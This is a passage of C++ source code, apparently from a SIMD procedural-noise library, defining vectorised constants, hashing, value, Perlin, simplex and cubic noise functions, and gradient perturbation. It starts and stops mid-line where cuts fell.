SIMDf_MUL_ADD(a,b,c) _mm256_fmadd_ps(a,b,c) #define SIMDf_MUL_SUB(a,b,c) _mm256_fmsub_ps(a,b,c) #define SIMDf_NMUL_ADD(a,b,c) _mm256_fnmadd_ps(a,b,c) #endif #endif #ifndef SIMDf_MUL_ADD #define SIMDf_MUL_ADD(a,b,c) SIMDf_ADD(SIMDf_MUL(a,b),c) #define SIMDf_MUL_SUB(a,b,c) SIMDf_SUB(SIMDf_MUL(a,b),c) #define SIMDf_NMUL_ADD(a,b,c) SIMDf_SUB(c, SIMDf_MUL(a,b)) #endif static bool VAR(SIMD_Values_Set) = false; static SIMDf SIMDf_NUM(incremental); static SIMDf SIMDf_NUM(0); static SIMDf SIMDf_NUM(2); static SIMDf SIMDf_NUM(6); static SIMDf SIMDf_NUM(10); static SIMDf SIMDf_NUM(15); static SIMDf SIMDf_NUM(32); static SIMDf SIMDf_NUM(999999); static SIMDf SIMDf_NUM(0_5); static SIMDf SIMDf_NUM(0_6); static SIMDf SIMDf_NUM(15_5); static SIMDf SIMDf_NUM(511_5); //static SIMDf SIMDf_NUM(cellJitter); static SIMDf SIMDf_NUM(F3); static SIMDf SIMDf_NUM(G3); static SIMDf SIMDf_NUM(G33); static SIMDf SIMDf_NUM(hash2Float); static SIMDf SIMDf_NUM(vectorSize); static SIMDf SIMDf_NUM(cubicBounding); #if SIMD_LEVEL == FN_AVX512 static SIMDf SIMDf_NUM(X_GRAD); static SIMDf SIMDf_NUM(Y_GRAD); static SIMDf SIMDf_NUM(Z_GRAD); #else static SIMDi SIMDi_NUM(8); static SIMDi SIMDi_NUM(12); static SIMDi SIMDi_NUM(13); #endif static SIMDi SIMDi_NUM(incremental); static SIMDi SIMDi_NUM(1); static SIMDi SIMDi_NUM(2); static SIMDi SIMDi_NUM(255); static SIMDi SIMDi_NUM(60493); static SIMDi SIMDi_NUM(0x7fffffff); //static SIMDi SIMDi_NUM(xGradBits); //static SIMDi SIMDi_NUM(yGradBits); //static SIMDi SIMDi_NUM(zGradBits); static SIMDi SIMDi_NUM(xPrime); static SIMDi SIMDi_NUM(yPrime); static SIMDi SIMDi_NUM(zPrime); static SIMDi SIMDi_NUM(bit5Mask); static SIMDi SIMDi_NUM(bit10Mask); static SIMDi SIMDi_NUM(vectorSize); void FUNC(InitSIMDValues)() { if (VAR(SIMD_Values_Set)) return; uSIMDf incF; uSIMDi incI; for (int i = 0; i < VECTOR_SIZE; i++) { incF.a[i] = float(i); incI.a[i] = i; } SIMDf_NUM(incremental) = incF.m; SIMDi_NUM(incremental) = incI.m; SIMDf_NUM(0) = SIMDf_SET_ZERO(); SIMDf_NUM(1) = SIMDf_SET(1.0f); SIMDf_NUM(2) = SIMDf_SET(2.0f); SIMDf_NUM(6) = SIMDf_SET(6.0f); SIMDf_NUM(10) = SIMDf_SET(10.0f); SIMDf_NUM(15) = SIMDf_SET(15.0f); SIMDf_NUM(32) = SIMDf_SET(32.0f); SIMDf_NUM(999999) = SIMDf_SET(999999.0f); SIMDf_NUM(0_5) = SIMDf_SET(0.5f); SIMDf_NUM(0_6) = SIMDf_SET(0.6f); SIMDf_NUM(15_5) = SIMDf_SET(15.5f); SIMDf_NUM(511_5) = SIMDf_SET(511.5f); //SIMDf_NUM(cellJitter) = SIMDf_SET(0.39614f); SIMDf_NUM(F3) = SIMDf_SET(1.f / 3.f); SIMDf_NUM(G3) = SIMDf_SET(1.f / 6.f); SIMDf_NUM(G33) = SIMDf_SET((3.f / 6.f) - 1.f); SIMDf_NUM(hash2Float) = SIMDf_SET(1.f / 2147483648.f); SIMDf_NUM(vectorSize) = SIMDf_SET(VECTOR_SIZE); SIMDf_NUM(cubicBounding) = SIMDf_SET(1.f / (1.5f*1.5f*1.5f)); #if SIMD_LEVEL == FN_AVX512 SIMDf_NUM(X_GRAD) = _mm512_set_ps(0, -1, 0, 1, 0, 0, 0, 0, -1, 1, -1, 1, -1, 1, -1, 1); SIMDf_NUM(Y_GRAD) = _mm512_set_ps(-1, 1, -1, 1, -1, 1, -1, 1, 0, 0, 0, 0, -1, -1, 1, 1); SIMDf_NUM(Z_GRAD) = _mm512_set_ps(-1, 0, 1, 0, -1, -1, 1, 1, -1, -1, 1, 1, 0, 0, 0, 0); #else SIMDi_NUM(8) = SIMDi_SET(8); SIMDi_NUM(12) = SIMDi_SET(12); SIMDi_NUM(13) = SIMDi_SET(13); #endif SIMDi_NUM(1) = SIMDi_SET(1); SIMDi_NUM(2) = SIMDi_SET(2); SIMDi_NUM(255) = SIMDi_SET(255); SIMDi_NUM(60493) = SIMDi_SET(60493); SIMDi_NUM(0x7fffffff) = SIMDi_SET(0x7fffffff); //SIMDi_NUM(xGradBits) = SIMDi_SET(1683327112); //SIMDi_NUM(yGradBits) = SIMDi_SET(-2004331104); //SIMDi_NUM(zGradBits) = SIMDi_SET(-1851744171); SIMDi_NUM(xPrime) = SIMDi_SET(1619); SIMDi_NUM(yPrime) = SIMDi_SET(31337); SIMDi_NUM(zPrime) = SIMDi_SET(6971); SIMDi_NUM(bit5Mask) = SIMDi_SET(31); SIMDi_NUM(bit10Mask) = SIMDi_SET(1023); SIMDi_NUM(vectorSize) = SIMDi_SET(VECTOR_SIZE); SIMDi_NUM(0xffffffff) = SIMDi_SET(-1); VAR(SIMD_Values_Set) = true; } static SIMDf VECTORCALL FUNC(Lerp)(SIMDf a, SIMDf b, SIMDf t) { SIMDf r; r = SIMDf_SUB(b, a); r = SIMDf_MUL_ADD(r, t, a); return r; } static SIMDf VECTORCALL FUNC(InterpQuintic)(SIMDf t) { SIMDf r; r = SIMDf_MUL_SUB(t, SIMDf_NUM(6), SIMDf_NUM(15)); r = SIMDf_MUL_ADD(r, t, SIMDf_NUM(10)); r = SIMDf_MUL(r, t); r = SIMDf_MUL(r, t); r = SIMDf_MUL(r, t); return r; } static SIMDf VECTORCALL FUNC(CubicLerp)(SIMDf a, SIMDf b, SIMDf c, SIMDf d, SIMDf t) { SIMDf p = SIMDf_SUB(SIMDf_SUB(d, c), SIMDf_SUB(a, b)); return SIMDf_MUL_ADD(t, SIMDf_MUL(t, SIMDf_MUL(t, p)), SIMDf_MUL_ADD(t, SIMDf_MUL(t, SIMDf_SUB(SIMDf_SUB(a, b), p)), SIMDf_MUL_ADD(t, SIMDf_SUB(c, a), b))); } //static SIMDf VECTORCALL FUNC(InterpHermite)(SIMDf t) //{ // SIMDf r; // r = SIMDf_MUL(t, SIMDf_NUM(2)); // r = SIMDf_SUB(SIMDf_ADD(SIMDf_NUM(1), SIMDf_NUM(2)), r); // r = SIMDf_MUL(r, t); // r = SIMDf_MUL(r, t); // // return r; //} static SIMDi VECTORCALL FUNC(Hash)(SIMDi seed, SIMDi x, SIMDi y, SIMDi z) { SIMDi hash = seed; hash = SIMDi_XOR(x, hash); hash = SIMDi_XOR(y, hash); hash = SIMDi_XOR(z, hash); hash = SIMDi_MUL(SIMDi_MUL(SIMDi_MUL(hash, hash), SIMDi_NUM(60493)), hash); hash = SIMDi_XOR(SIMDi_SHIFT_R(hash, 13), hash); return hash; } static SIMDi VECTORCALL FUNC(HashHB)(SIMDi seed, SIMDi x, SIMDi y, SIMDi z) { SIMDi hash = seed; hash = SIMDi_XOR(x, hash); hash = SIMDi_XOR(y, hash); hash = SIMDi_XOR(z, hash); //hash = SIMDi_XOR(SIMDi_SHIFT_R(hash, 13), hash); hash = SIMDi_MUL(SIMDi_MUL(SIMDi_MUL(hash, hash), SIMDi_NUM(60493)), hash); return hash; } static SIMDf VECTORCALL FUNC(ValCoord)(SIMDi seed, SIMDi x, SIMDi y, SIMDi z) { // High bit hash SIMDi hash = seed; hash = SIMDi_XOR(x, hash); hash = SIMDi_XOR(y, hash); hash = SIMDi_XOR(z, hash); hash = SIMDi_MUL(SIMDi_MUL(SIMDi_MUL(hash, hash), SIMDi_NUM(60493)), hash); //hash = SIMDi_XOR(SIMDi_SHIFT_L(hash, 13), hash); return SIMDf_MUL(SIMDf_NUM(hash2Float), SIMDf_CONVERT_TO_FLOAT(hash)); } #if SIMD_LEVEL == FN_AVX512 static SIMDf VECTORCALL FUNC(GradCoord)(SIMDi seed, SIMDi xi, SIMDi yi, SIMDi zi, SIMDf x, SIMDf y, SIMDf z) { SIMDi hash = FUNC(Hash)(seed, xi, yi, zi); SIMDf xGrad = SIMDf_PERMUTE(SIMDf_NUM(X_GRAD), hash); SIMDf yGrad = SIMDf_PERMUTE(SIMDf_NUM(Y_GRAD), hash); SIMDf zGrad = SIMDf_PERMUTE(SIMDf_NUM(Z_GRAD), hash); return SIMDf_MUL_ADD(x, xGrad, SIMDf_MUL_ADD(y, yGrad, SIMDf_MUL(z, zGrad))); } #else static SIMDf VECTORCALL FUNC(GradCoord)(SIMDi seed, SIMDi xi, SIMDi yi, SIMDi zi, SIMDf x, SIMDf y, SIMDf z) { SIMDi hash = FUNC(Hash)(seed, xi, yi, zi); SIMDi hasha13 = SIMDi_AND(hash, SIMDi_NUM(13)); //if h < 8 then x, else y MASK l8 = SIMDi_LESS_THAN(hasha13, SIMDi_NUM(8)); SIMDf u = SIMDf_BLENDV(y, x, l8); //if h < 4 then y else if h is 12 or 14 then x else z MASK l4 = SIMDi_LESS_THAN(hasha13, SIMDi_NUM(2)); MASK h12o14 = SIMDi_EQUAL(SIMDi_NUM(12), hasha13); SIMDf v = SIMDf_BLENDV(SIMDf_BLENDV(z, x, h12o14), y, l4); //if h1 then -u else u //if h2 then -v else v SIMDf h1 = SIMDf_CAST_TO_FLOAT(SIMDi_SHIFT_L(hash, 31)); SIMDf h2 = SIMDf_CAST_TO_FLOAT(SIMDi_SHIFT_L(SIMDi_AND(hash, SIMDi_NUM(2)), 30)); //then add them return SIMDf_ADD(SIMDf_XOR(u, h1), SIMDf_XOR(v, h2)); } #endif static SIMDf VECTORCALL FUNC(WhiteNoiseSingle)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z) { return FUNC(ValCoord)(seed, SIMDi_MUL(SIMDi_XOR(SIMDi_CAST_TO_INT(x), SIMDi_SHIFT_R(SIMDi_CAST_TO_INT(x), 16)), SIMDi_NUM(xPrime)), SIMDi_MUL(SIMDi_XOR(SIMDi_CAST_TO_INT(y), SIMDi_SHIFT_R(SIMDi_CAST_TO_INT(y), 16)), SIMDi_NUM(yPrime)), SIMDi_MUL(SIMDi_XOR(SIMDi_CAST_TO_INT(z), SIMDi_SHIFT_R(SIMDi_CAST_TO_INT(z), 16)), SIMDi_NUM(zPrime))); } static SIMDf VECTORCALL FUNC(ValueSingle)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z) { SIMDf xs = SIMDf_FLOOR(x); SIMDf ys = SIMDf_FLOOR(y); SIMDf zs = SIMDf_FLOOR(z); SIMDi x0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(xs), SIMDi_NUM(xPrime)); SIMDi y0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(ys), SIMDi_NUM(yPrime)); SIMDi z0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(zs), SIMDi_NUM(zPrime)); SIMDi x1 = SIMDi_ADD(x0, SIMDi_NUM(xPrime)); SIMDi y1 = SIMDi_ADD(y0, SIMDi_NUM(yPrime)); SIMDi z1 = SIMDi_ADD(z0, SIMDi_NUM(zPrime)); xs = FUNC(InterpQuintic)(SIMDf_SUB(x, xs)); ys = FUNC(InterpQuintic)(SIMDf_SUB(y, ys)); zs = FUNC(InterpQuintic)(SIMDf_SUB(z, zs)); return FUNC(Lerp)( FUNC(Lerp)( FUNC(Lerp)(FUNC(ValCoord)(seed, x0, y0, z0), FUNC(ValCoord)(seed, x1, y0, z0), xs), FUNC(Lerp)(FUNC(ValCoord)(seed, x0, y1, z0), FUNC(ValCoord)(seed, x1, y1, z0), xs), ys), FUNC(Lerp)( FUNC(Lerp)(FUNC(ValCoord)(seed, x0, y0, z1), FUNC(ValCoord)(seed, x1, y0, z1), xs), FUNC(Lerp)(FUNC(ValCoord)(seed, x0, y1, z1), FUNC(ValCoord)(seed, x1, y1, z1), xs), ys), zs); } static SIMDf VECTORCALL FUNC(PerlinSingle)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z) { SIMDf xs = SIMDf_FLOOR(x); SIMDf ys = SIMDf_FLOOR(y); SIMDf zs = SIMDf_FLOOR(z); SIMDi x0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(xs), SIMDi_NUM(xPrime)); SIMDi y0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(ys), SIMDi_NUM(yPrime)); SIMDi z0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(zs), SIMDi_NUM(zPrime)); SIMDi x1 = SIMDi_ADD(x0, SIMDi_NUM(xPrime)); SIMDi y1 = SIMDi_ADD(y0, SIMDi_NUM(yPrime)); SIMDi z1 = SIMDi_ADD(z0, SIMDi_NUM(zPrime)); SIMDf xf0 = xs = SIMDf_SUB(x, xs); SIMDf yf0 = ys = SIMDf_SUB(y, ys); SIMDf zf0 = zs = SIMDf_SUB(z, zs); SIMDf xf1 = SIMDf_SUB(xf0, SIMDf_NUM(1)); SIMDf yf1 = SIMDf_SUB(yf0, SIMDf_NUM(1)); SIMDf zf1 = SIMDf_SUB(zf0, SIMDf_NUM(1)); xs = FUNC(InterpQuintic)(xs); ys = FUNC(InterpQuintic)(ys); zs = FUNC(InterpQuintic)(zs); return FUNC(Lerp)( FUNC(Lerp)( FUNC(Lerp)(FUNC(GradCoord)(seed, x0, y0, z0, xf0, yf0, zf0), FUNC(GradCoord)(seed, x1, y0, z0, xf1, yf0, zf0), xs), FUNC(Lerp)(FUNC(GradCoord)(seed, x0, y1, z0, xf0, yf1, zf0), FUNC(GradCoord)(seed, x1, y1, z0, xf1, yf1, zf0), xs), ys), FUNC(Lerp)( FUNC(Lerp)(FUNC(GradCoord)(seed, x0, y0, z1, xf0, yf0, zf1), FUNC(GradCoord)(seed, x1, y0, z1, xf1, yf0, zf1), xs), FUNC(Lerp)(FUNC(GradCoord)(seed, x0, y1, z1, xf0, yf1, zf1), FUNC(GradCoord)(seed, x1, y1, z1, xf1, yf1, zf1), xs), ys), zs); } static SIMDf VECTORCALL FUNC(SimplexSingle)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z) { SIMDf f = SIMDf_MUL(SIMDf_NUM(F3), SIMDf_ADD(SIMDf_ADD(x, y), z)); SIMDf x0 = SIMDf_FLOOR(SIMDf_ADD(x, f)); SIMDf y0 = SIMDf_FLOOR(SIMDf_ADD(y, f)); SIMDf z0 = SIMDf_FLOOR(SIMDf_ADD(z, f)); SIMDi i = SIMDi_MUL(SIMDi_CONVERT_TO_INT(x0), SIMDi_NUM(xPrime)); SIMDi j = SIMDi_MUL(SIMDi_CONVERT_TO_INT(y0), SIMDi_NUM(yPrime)); SIMDi k = SIMDi_MUL(SIMDi_CONVERT_TO_INT(z0), SIMDi_NUM(zPrime)); SIMDf g = SIMDf_MUL(SIMDf_NUM(G3), SIMDf_ADD(SIMDf_ADD(x0, y0), z0)); x0 = SIMDf_SUB(x, SIMDf_SUB(x0, g)); y0 = SIMDf_SUB(y, SIMDf_SUB(y0, g)); z0 = SIMDf_SUB(z, SIMDf_SUB(z0, g)); MASK x0_ge_y0 = SIMDf_GREATER_EQUAL(x0, y0); MASK y0_ge_z0 = SIMDf_GREATER_EQUAL(y0, z0); MASK x0_ge_z0 = SIMDf_GREATER_EQUAL(x0, z0); MASK i1 = MASK_AND(x0_ge_y0, x0_ge_z0); MASK j1 = MASK_AND_NOT(x0_ge_y0, y0_ge_z0); MASK k1 = MASK_AND_NOT(x0_ge_z0, MASK_NOT(y0_ge_z0)); MASK i2 = MASK_OR(x0_ge_y0, x0_ge_z0); MASK j2 = MASK_OR(MASK_NOT(x0_ge_y0), y0_ge_z0); MASK k2 = MASK_NOT(MASK_AND(x0_ge_z0, y0_ge_z0)); SIMDf x1 = SIMDf_ADD(SIMDf_MASK_SUB(i1, x0, SIMDf_NUM(1)), SIMDf_NUM(G3)); SIMDf y1 = SIMDf_ADD(SIMDf_MASK_SUB(j1, y0, SIMDf_NUM(1)), SIMDf_NUM(G3)); SIMDf z1 = SIMDf_ADD(SIMDf_MASK_SUB(k1, z0, SIMDf_NUM(1)), SIMDf_NUM(G3)); SIMDf x2 = SIMDf_ADD(SIMDf_MASK_SUB(i2, x0, SIMDf_NUM(1)), SIMDf_NUM(F3)); SIMDf y2 = SIMDf_ADD(SIMDf_MASK_SUB(j2, y0, SIMDf_NUM(1)), SIMDf_NUM(F3)); SIMDf z2 = SIMDf_ADD(SIMDf_MASK_SUB(k2, z0, SIMDf_NUM(1)), SIMDf_NUM(F3)); SIMDf x3 = SIMDf_ADD(x0, SIMDf_NUM(G33)); SIMDf y3 = SIMDf_ADD(y0, SIMDf_NUM(G33)); SIMDf z3 = SIMDf_ADD(z0, SIMDf_NUM(G33)); SIMDf t0 = SIMDf_NMUL_ADD(z0, z0, SIMDf_NMUL_ADD(y0, y0, SIMDf_NMUL_ADD(x0, x0, SIMDf_NUM(0_6)))); SIMDf t1 = SIMDf_NMUL_ADD(z1, z1, SIMDf_NMUL_ADD(y1, y1, SIMDf_NMUL_ADD(x1, x1, SIMDf_NUM(0_6)))); SIMDf t2 = SIMDf_NMUL_ADD(z2, z2, SIMDf_NMUL_ADD(y2, y2, SIMDf_NMUL_ADD(x2, x2, SIMDf_NUM(0_6)))); SIMDf t3 = SIMDf_NMUL_ADD(z3, z3, SIMDf_NMUL_ADD(y3, y3, SIMDf_NMUL_ADD(x3, x3, SIMDf_NUM(0_6)))); MASK n0 = SIMDf_GREATER_EQUAL(t0, SIMDf_NUM(0)); MASK n1 = SIMDf_GREATER_EQUAL(t1, SIMDf_NUM(0)); MASK n2 = SIMDf_GREATER_EQUAL(t2, SIMDf_NUM(0)); MASK n3 = SIMDf_GREATER_EQUAL(t3, SIMDf_NUM(0)); t0 = SIMDf_MUL(t0, t0); t1 = SIMDf_MUL(t1, t1); t2 = SIMDf_MUL(t2, t2); t3 = SIMDf_MUL(t3, t3); SIMDf v0 = SIMDf_MUL(SIMDf_MUL(t0, t0), FUNC(GradCoord)(seed, i, j, k, x0, y0, z0)); SIMDf v1 = SIMDf_MUL(SIMDf_MUL(t1, t1), FUNC(GradCoord)(seed, SIMDi_MASK_ADD(i1, i, SIMDi_NUM(xPrime)), SIMDi_MASK_ADD(j1, j, SIMDi_NUM(yPrime)), SIMDi_MASK_ADD(k1, k, SIMDi_NUM(zPrime)), x1, y1, z1)); SIMDf v2 = SIMDf_MUL(SIMDf_MUL(t2, t2), FUNC(GradCoord)(seed, SIMDi_MASK_ADD(i2, i, SIMDi_NUM(xPrime)), SIMDi_MASK_ADD(j2, j, SIMDi_NUM(yPrime)), SIMDi_MASK_ADD(k2, k, SIMDi_NUM(zPrime)), x2, y2, z2)); SIMDf v3 = SIMDf_MASK(n3, SIMDf_MUL(SIMDf_MUL(t3, t3), FUNC(GradCoord)(seed, SIMDi_ADD(i, SIMDi_NUM(xPrime)), SIMDi_ADD(j, SIMDi_NUM(yPrime)), SIMDi_ADD(k, SIMDi_NUM(zPrime)), x3, y3, z3))); return SIMDf_MUL(SIMDf_NUM(32), SIMDf_MASK_ADD(n0, SIMDf_MASK_ADD(n1, SIMDf_MASK_ADD(n2, v3, v2), v1), v0)); } static SIMDf VECTORCALL FUNC(CubicSingle)(SIMDi seed, SIMDf x, SIMDf y, SIMDf z) { SIMDf xf1 = SIMDf_FLOOR(x); SIMDf yf1 = SIMDf_FLOOR(y); SIMDf zf1 = SIMDf_FLOOR(z); SIMDi x1 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(xf1), SIMDi_NUM(xPrime)); SIMDi y1 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(yf1), SIMDi_NUM(yPrime)); SIMDi z1 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(zf1), SIMDi_NUM(zPrime)); SIMDi x0 = SIMDi_SUB(x1, SIMDi_NUM(xPrime)); SIMDi y0 = SIMDi_SUB(y1, SIMDi_NUM(yPrime)); SIMDi z0 = SIMDi_SUB(z1, SIMDi_NUM(zPrime)); SIMDi x2 = SIMDi_ADD(x1, SIMDi_NUM(xPrime)); SIMDi y2 = SIMDi_ADD(y1, SIMDi_NUM(yPrime)); SIMDi z2 = SIMDi_ADD(z1, SIMDi_NUM(zPrime)); SIMDi x3 = SIMDi_ADD(x2, SIMDi_NUM(xPrime)); SIMDi y3 = SIMDi_ADD(y2, SIMDi_NUM(yPrime)); SIMDi z3 = SIMDi_ADD(z2, SIMDi_NUM(zPrime)); SIMDf xs = SIMDf_SUB(x, xf1); SIMDf ys = SIMDf_SUB(y, yf1); SIMDf zs = SIMDf_SUB(z, zf1); return SIMDf_MUL(FUNC(CubicLerp)( FUNC(CubicLerp)( FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y0, z0), FUNC(ValCoord)(seed, x1, y0, z0), FUNC(ValCoord)(seed, x2, y0, z0), FUNC(ValCoord)(seed, x3, y0, z0), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y1, z0), FUNC(ValCoord)(seed, x1, y1, z0), FUNC(ValCoord)(seed, x2, y1, z0), FUNC(ValCoord)(seed, x3, y1, z0), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y2, z0), FUNC(ValCoord)(seed, x1, y2, z0), FUNC(ValCoord)(seed, x2, y2, z0), FUNC(ValCoord)(seed, x3, y2, z0), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y3, z0), FUNC(ValCoord)(seed, x1, y3, z0), FUNC(ValCoord)(seed, x2, y3, z0), FUNC(ValCoord)(seed, x3, y3, z0), xs), ys), FUNC(CubicLerp)( FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y0, z1), FUNC(ValCoord)(seed, x1, y0, z1), FUNC(ValCoord)(seed, x2, y0, z1), FUNC(ValCoord)(seed, x3, y0, z1), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y1, z1), FUNC(ValCoord)(seed, x1, y1, z1), FUNC(ValCoord)(seed, x2, y1, z1), FUNC(ValCoord)(seed, x3, y1, z1), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y2, z1), FUNC(ValCoord)(seed, x1, y2, z1), FUNC(ValCoord)(seed, x2, y2, z1), FUNC(ValCoord)(seed, x3, y2, z1), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y3, z1), FUNC(ValCoord)(seed, x1, y3, z1), FUNC(ValCoord)(seed, x2, y3, z1), FUNC(ValCoord)(seed, x3, y3, z1), xs), ys), FUNC(CubicLerp)( FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y0, z2), FUNC(ValCoord)(seed, x1, y0, z2), FUNC(ValCoord)(seed, x2, y0, z2), FUNC(ValCoord)(seed, x3, y0, z2), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y1, z2), FUNC(ValCoord)(seed, x1, y1, z2), FUNC(ValCoord)(seed, x2, y1, z2), FUNC(ValCoord)(seed, x3, y1, z2), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y2, z2), FUNC(ValCoord)(seed, x1, y2, z2), FUNC(ValCoord)(seed, x2, y2, z2), FUNC(ValCoord)(seed, x3, y2, z2), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y3, z2), FUNC(ValCoord)(seed, x1, y3, z2), FUNC(ValCoord)(seed, x2, y3, z2), FUNC(ValCoord)(seed, x3, y3, z2), xs), ys), FUNC(CubicLerp)( FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y0, z3), FUNC(ValCoord)(seed, x1, y0, z3), FUNC(ValCoord)(seed, x2, y0, z3), FUNC(ValCoord)(seed, x3, y0, z3), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y1, z3), FUNC(ValCoord)(seed, x1, y1, z3), FUNC(ValCoord)(seed, x2, y1, z3), FUNC(ValCoord)(seed, x3, y1, z3), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y2, z3), FUNC(ValCoord)(seed, x1, y2, z3), FUNC(ValCoord)(seed, x2, y2, z3), FUNC(ValCoord)(seed, x3, y2, z3), xs), FUNC(CubicLerp)(FUNC(ValCoord)(seed, x0, y3, z3), FUNC(ValCoord)(seed, x1, y3, z3), FUNC(ValCoord)(seed, x2, y3, z3), FUNC(ValCoord)(seed, x3, y3, z3), xs), ys), zs), SIMDf_NUM(cubicBounding)); } #define GRADIENT_COORD(_x,_y,_z)\ SIMDi hash##_x##_y##_z = FUNC(HashHB)(seed, x##_x, y##_y, z##_z); \ SIMDf x##_x##_y##_z = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(hash##_x##_y##_z, SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5)); \ SIMDf y##_x##_y##_z = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash##_x##_y##_z, 10), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5)); \ SIMDf z##_x##_y##_z = SIMDf_SUB(SIMDf_CONVERT_TO_FLOAT(SIMDi_AND(SIMDi_SHIFT_R(hash##_x##_y##_z, 20), SIMDi_NUM(bit10Mask))), SIMDf_NUM(511_5)); //SIMDf invMag##_x##_y##_z = SIMDf_MUL(SIMDf_NUM(cellJitter), SIMDf_INV_SQRT(SIMDf_MUL_ADD(x##_x##_y##_z, x##_x##_y##_z, SIMDf_MUL_ADD(y##_x##_y##_z, y##_x##_y##_z, SIMDf_MUL(z##_x##_y##_z, z##_x##_y##_z))))); //x##_x##_y##_z = SIMDf_MUL(x##_x##_y##_z, invMag##_x##_y##_z); //y##_x##_y##_z = SIMDf_MUL(y##_x##_y##_z, invMag##_x##_y##_z); //z##_x##_y##_z = SIMDf_MUL(z##_x##_y##_z, invMag##_x##_y##_z); static void VECTORCALL FUNC(GradientPerturbSingle)(SIMDi seed, SIMDf perturbAmp, SIMDf perturbFrequency, SIMDf& x, SIMDf& y, SIMDf& z) { SIMDf xf = SIMDf_MUL(x, perturbFrequency); SIMDf yf = SIMDf_MUL(y, perturbFrequency); SIMDf zf = SIMDf_MUL(z, perturbFrequency); SIMDf xs = SIMDf_FLOOR(xf); SIMDf ys = SIMDf_FLOOR(yf); SIMDf zs = SIMDf_FLOOR(zf); SIMDi x0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(xs), SIMDi_NUM(xPrime)); SIMDi y0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(ys), SIMDi_NUM(yPrime)); SIMDi z0 = SIMDi_MUL(SIMDi_CONVERT_TO_INT(zs), SIMDi_NUM(zPrime)); SIMDi x1 = SIMDi_ADD(x0, SIMDi_NUM(xPrime)); SIMDi y1 = SIMDi_ADD(y0, SIMDi_NUM(yPrime)); SIMDi z1 = SIMDi_ADD(z0, SIMDi_NUM(zPrime)); xs = FUNC(InterpQuintic)(SIMDf_SUB(xf, xs)); ys = FUNC(InterpQuintic)(SIMDf_SUB(yf, ys)); zs = FUNC(InterpQuintic)(SIMDf_SUB(zf, zs)); GRADIENT_COORD(0, 0, 0); GRADIENT_COORD(0, 0, 1); GRADIENT_COORD(0, 1, 0); GRADIENT_COORD(0, 1, 1); GRADIENT_COORD(1, 0, 0); GRADIENT_COORD(1, 0, 1); GRADIENT_COORD(1, 1, 0); GRADIENT_COORD(1, 1, 1); SIMDf x0y = FUNC(Lerp)(FUNC(Lerp)(x000, x100, xs), FUNC(Lerp)(x010, x110, xs), ys); SIMDf y0y = FUNC(Lerp)(FUNC(Lerp)(y000, y100, xs), FUNC(Lerp)(y010, y110, xs), ys); SIMDf z0y = FUNC(Lerp)(FUNC(Lerp)(z000, z100, xs), FUNC(Lerp)(z010, z110, xs), ys); SIMDf x1y = FUNC(Lerp)(FUNC(Lerp)(x001, x101, xs), FUNC(Lerp)(x011, x111, xs), ys); SIMDf y1y = FUNC(Lerp)(FUNC(Lerp)(y001, y101, xs), FUNC(Lerp)(y011, y111, xs), ys); SIMDf z1y = FUNC(Lerp)(FUNC(Lerp)(z001, z101, xs), FUNC(Lerp)(z011, z111, xs), ys); x = SIMDf_MUL_ADD(FUNC(Lerp)(x0y, x1y, zs), perturbAmp, x); y = SIMDf_MUL_ADD(FUNC(Lerp)(y0y, y1y, zs), perturbAmp, y); z = SIMDf_MUL_ADD(FUNC(Lerp)(z0y, z1y, zs), perturbAmp, z); } SIMD_LEVEL_CLASS::FASTNOISE_SIMD_CLASS(SIMD_LEVEL)(int seed) { m_seed = seed; m_fractalBounding = CalculateFractalBounding(m_octaves, m_gain); m_perturbFractalBounding = CalculateFractalBounding(m_perturbOctaves, m_perturbGain); FUNC(InitSIMDValues)(); s_currentSIMDLevel = SIMD_LEVEL; } int SIMD_LEVEL_CLASS::AlignedSize(int size) { #ifdef FN_ALIGNED_SETS // size must be a multiple of VECTOR_SIZE (8) if ((size & (VECTOR_SIZE - 1)) != 0) { size &= ~(VECTOR_SIZE - 1); size += VECTOR_SIZE; } #endif return size; } float* SIMD_LEVEL_CLASS::GetEmptySet(int size) { size = AlignedSize(size); float* noiseSet; SIMD_ALLOCATE_SET(noiseSet, size); return noiseSet; } #define AXIS_RESET(_zSize, _start) for (int _i = (_zSize) * (_start); _i < VECTOR_SIZE; _i+=(_zSize)){\ MASK _zReset = SIMDi_GREATER_THAN(z, zEndV);\ y = SIMDi_MASK_ADD(_zReset, y, SIMDi_NUM(1));\ z = SIMDi_MASK_SUB(_zReset, z, zSizeV);\ \ MASK _yReset = SIMDi_GREATER_THAN(y, yEndV);\ x = SIMDi_MASK_ADD(_yReset, x, SIMDi_NUM(1));\ y = 